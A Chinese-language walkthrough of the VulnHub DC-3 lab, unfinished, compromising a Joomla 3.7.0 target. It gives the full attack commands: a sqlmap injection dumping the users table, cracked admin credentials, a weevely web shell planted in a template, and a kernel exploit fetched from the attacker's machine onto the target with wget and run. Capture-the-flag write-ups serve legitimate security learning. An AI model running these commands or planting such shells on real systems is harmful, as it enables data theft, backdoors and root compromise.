简介
kali 192.168.200.28
DC-3 192.168.200.19
靶机下载地址:https://download.vulnhub.com/dc/DC-3VMware.zip
信息收集
- 访问web界面
网站提示
- 使用nikto扫描目录
nikto -h 192.168.200.19
- 扫描网站指纹
whatweb 192.168.200.19
至此:网站信息收集完毕
开始攻击
- 搜索漏洞
searchsploit joomla 3.7.0
发现有sql注入漏洞我们把信息保存下来
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt joomla_sql.txt
利用payload
sqlmap -u “http://192.168.200.19/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent -D joomladb -T ‘#__users’ --dump -p list[fullordering]
利用john破解密码
账号:admin
密码:snoopy
直接进入后台
生成shell
weevely generate shell ./forever.php
templates中创建一个名为forever.php的页面,把shell脚本粘贴进去保存
使用weevly连接shell
weevely http://192.168.200.19/templates/beez3/forever.php shell
成功连接到shell
主机Ubuntu 16.04 内核 4.4.0-21
查找提权漏洞
Linux Kernel 4.4.x (Ubuntu 16.04) - ‘double-fdput()’ bpf(BPF_PROG_LOAD) | linux/local/39772.txt
利用这个漏洞开始提权
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
将39772.zip放入到/var/www/html这个目录下
mv 39772.zip /var/www/html
然后启动apache,让dc3从本地下载exp
service apache2 start
wget http://192.168.200.28/exploit.tar
unzip 39772.zip
解压完文件后编译
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput
执行了很多次./doubleput均为成功
未完待续
结束
内核提权有待学习